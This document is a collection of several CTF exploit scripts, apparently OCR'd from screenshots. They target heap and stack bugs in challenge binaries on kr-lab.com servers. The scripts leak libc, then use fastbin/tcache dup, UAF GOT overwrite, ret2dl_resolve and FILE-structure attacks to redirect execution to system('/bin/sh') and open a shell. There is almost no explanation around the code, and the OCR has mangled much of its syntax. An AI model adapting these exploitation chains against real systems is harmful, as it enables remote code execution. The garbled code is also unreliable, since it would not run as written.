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from pwn import *

local = 1

if local:

p = process('./pwn')

else:

p = remote('1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com' , 57856 )#nc
1b190bf34€999d7f752a35fa9ee0d911.kr-lab.com 57856

libc = ELF(/lib/x86_64-linux-gnu/libc-2.23.s0')

def debug():
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print pidof(p)

raw_input()

#step1 leak libc_base
p.recvuntil('name:")

p.sendline('test’)

libc leak ="

foriin range(637 , 631, -1):
p.recvuntil('index\n’)

p.sendline(str(i))

p.recvuntil(‘'(hex) ')

aa = p.recvuntil(\n")[:-1]

if(len(aa) < 2):

libc_leak +="'0"+ aa

elif(len(aa) == 8):

libc_leak += aa[-2:]

else:

libc_leak += aa

p.recvuntil('value\n')

p.sendline('1")

print libc_leak

libc.address = int('0OX' + libc_leak , 16) - libc.symbols['__libc_start_main'] - 240
success('libc_base =>" + hex(libc.address))
one_gadget = 0xf02a4 + libc.address
#step2 overwrite EIP to one_gadget
for i in range(6):

p.recvuntil('index\n’)

p.sendline(str(i + 344))
p.recvuntil('value\n')
p.sendline(str(ord(p64(one_gadget)[i])))
#Get Shell & Have Fun

#debug()



p.sendline('a’)

p.recvuntil('(yes/no)? \n')

p.interactive()
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from pwn import *

local = 1

if local:

p = process('./pwn')

else:

p = remote('85c3e0fcae5e972af313488de60e8ada.kr-lab.com', 58512)#nc
85c3elfcaeb5e972af313488de60e8ab5a.kr-lab.com 58512

libc = ELF(/lib/x86_64-linux-gnu/libc-2.23.s0")
def show():
p.recvuntil(‘choice:")

p.sendline('1")



raw = p.recvuntil('===")[:-4]
return raw

def add(length , content):
p.recvuntil(‘choice:")
p.sendline('2")
p.recvuntil(‘daily:")
p.sendline(str(length))
p.recvuntil(‘daily\n")
p.sendline(content)

def change(index , content):
p.recvuntil(‘choice:")
p.sendline('3")
p.recvuntil(‘daily:")
p.sendline(str(index))
p.recvuntil(‘daily\n")
p.sendline(content)

def remove(index):
p.recvuntil(‘choice:")
p.sendline('4")
p.recvuntil(‘daily:')
p.sendline(str(index))

def debug():

print pidof(p)

raw_input()

#step1 leak libc&heap base
for i in range(5):

add(0x80 , "\x00' * 0x5f)
debug()

remove(1)

remove(3)

add(0x80 , ")



libc.address = u64(show().split("1 : ")[1][:6].ljust(8 , "x00")) - 0x3c4b0a
change(1, 'abcdefgh’)

heap_base = u64(show().split(‘abcdefgh')[1].split('2 :")[0].ljust(8 , "x00")) - 0x10a
free_hook = libc.symbols['__free hook]
system_addr = libc.symbols['system]
success('libc_base =>" + hex(libc.address))
success(‘heap_base => "'+ hex(heap_base))
success('free_hook => "'+ hex(free_hook))
success('system_addr =>" + hex(system_addr))
#step2 clear heap

remove(4)

remove(2)

remove(1)

remove(0)

#step3 free2fastbin

add(0x30, 'a' * 8 + p64(heap_base + 0x10)) #heap_base + 0x18
offset = (heap_base - 0x602060) / 16 + 1
remove(offset)

#step4 fastbin attack : free_hook => system
add(0x41 , "\x00' * 0x40)

change(0 , p64(0x602068))

add(0x30 , '/bin/sh\x00") #heap

add(0x30 , p64(free_hook)) #bss

change(1, p64(system_addr))

#Get Ghell & Have Fun

remove(0)

p.interactive()
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my-exp
from roputils import *

fpath ="./pwn'

offset = 44

rop = ROP(fpath)

addr_bss = rop.section('.bss")

buf = rop.reffill(offset)

buf += rop.call('read’, 0, addr_bss, 100)

buf += rop.dl_resolve_call(addr_bss+20, addr_bss)
p = Proc(rop.fpath)

p.write(p32(len(buf)) + buf)

print "[+] read: %r" % p.read(len(buf))

buf = rop.string('/bin/sh")

buf += rop.fill(20, buf)

buf += rop.dl_resolve_data(addr_bss+20, 'system')
buf += rop fill(100, buf)

p.write(buf)

p.interact(0)
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typedef struct Header{

__int32 index;



__int32 length;

char* data;

Header* next_Header;
tHeader;
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from pwn import *
local = 1

if local:

p = process('./pwn')
else:

p = remote('e095ff54e419a6e01532dee4ba86fa9c.kr-lab.com' , 40002)#nc
e095ff54e419a6e01532dee4ba86fa9c.kr-lab.com 40002

libc = ELF(/lib/x86_64-linux-gnu/libc-2.23.50")
elf = ELF('./pwn)

def add(data):



p.recvuntil(> ")
p.sendline('1")
p.recvuntil('data:\n')
p.sendline(data)

def show(index):
p.recvuntil(> ")
p.sendline('2")
p.recvuntil('index: ')
p.sendline(str(index))
return p.recvuntil(\n----")[:-5]
def edit(index , data):
p.recvuntil(> ")
p.sendline('3")
p.recvuntil('index: ")
p.sendline(str(index))
sleep(0.1)
p.sendline(data)

def delete(index):
p.recvuntil(> ")
p.sendline('4")
p.recvuntil('index: ')
p.sendline(str(index))
def debug():

print pidof(p)
raw_input()

#step1 leak libc_base
add(‘a' * 0x17) #0
add(‘a' * 0x17) #1
delete(0)

add('a' * Ox7f) #2

add('a' * Ox7f) #3



add('/bin/sh\x00") #4

delete(2)

libc.address = u64(show(3).ljust(8 , "x00")) - 0x3c4b78
system_addr = libc.symbols['system]

free_got = elf.got['free’]

success('libc_base =>" + hex(libc.address))
success('system _addr =>" + hex(system_addr))
success('free_got => "'+ hex(free_got))

#step2 use UAF to change free_got to system _addr
fake header = p32(0x3) + p32(0x7f)

payload = fake_header + p64(free_got)

edit(1 , payload)

edit(3 , p64(system_addr))

#Get Shell & Have Fun

delete(4)

p.interactive()
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my-exp

from pwn import *

local = 1

if local:

p = process('./pwn')

else:

print 'time is up'

libc = ELF('libc-2.27.s0")

elf = ELF("./pwn’)

def check():

p.recvuntil('username:')

p.sendline('admin’)

p.recvuntil('password:')

p.sendline(‘frame’)

def add(name , length , description):

p.recvuntil(*>")

p.sendline('1")

p.recvuntil('oook name:")

p.sendline(name)



p.recvuntil('size:")
p.send(str(length))
p.recvuntil('description:')
sd(description)

def free(index):
p.recvuntil(">")

p.sendline('2")
p.recvuntil('index:")
p.sendline(str(index))

def debug():

print pidof(p)

raw_input()

check()

#step1 use FILE structure to leak libc
add('0", 0x50, '0")

#tcache dup

free(0)

free(0)

stdout_addr = got('stdout'’)
add('1', 0x50 , p64(stdout_addr))
add(2', 0x50 , '2)

add('3', 0x50 , "x60') #stdout
#fake 10_2 1 stdout

payload = p64(0xfbad1800) + p64(0) + p64(0) + p64(0) + p64(stdout_addr) + p64(stdout_addr + 8) +
p64(stdout_addr + 8)

# flags read_ptr read_end read_base write_base write_ptr write_end
add('4', 0x50 , payload) # 10_2_ 1 _stdout

libc.address = u64(ru(‘done!")[:-5].ljust(8 , "x00")) - 0x3ec760
success('libc_base =>"+ hex(libc.address))

free_hook = libc.symbols['__free hook’]

success('free_hook => "'+ hex(free_hook))



system_addr = libc.symbols['system]
suucess('system_addr => ' + hex(system))
#step2 overwrite __ free_hook with system
add('’s', 0x40, '5")

#tcache dup

free(5)

free(5)

add('6', 0x40 , p64(free_hook))

add('7', 0x40 , '/bin/sh\x00")

add('8', 0x40 , p64(system _addr))

#Get Shell & Have Fun

free(7)

#debug()

p.interactive()
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